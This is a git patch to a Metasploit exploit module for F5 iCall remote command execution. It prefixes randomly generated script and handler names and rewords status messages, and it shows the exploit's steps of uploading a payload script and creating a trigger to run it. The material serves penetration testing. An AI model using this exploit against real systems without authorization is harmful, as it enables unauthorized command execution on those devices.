From deec836828ad0b3219095b97d7f8fe1d7fff88be Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 18 Nov 2015 12:31:46 -0800 Subject: [PATCH] scripts/handlers cannot start with numbers --- modules/exploits/linux/http/f5_icall_cmd.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 1499abfae5..90b77d37c4 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -227,9 +227,8 @@ class Metasploit3 < Msf::Exploit::Remote return false end - print_status('Uploading payload script...') - - script_name = Rex::Text.rand_text_alphanumeric(16) + script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}" + print_status("Uploading payload script #{script_name}") create_script_res = create_script(script_name, cmd) unless create_script_res && create_script_res.code == 200 print_error("Upload payload script failed") @@ -242,8 +241,8 @@ class Metasploit3 < Msf::Exploit::Remote register_file_for_cleanup @payload_path # phase 2: create iCall Handler, that will actually run the previously created script - print_status('Creating trigger...') - handler_name = Rex::Text.rand_text_alphanumeric(16) + handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}" + print_status("Creating trigger #{handler_name}") unless create_handler(handler_name, script_name) print_error('Payload script uploaded but trigger creation failed') delete_script(script_name)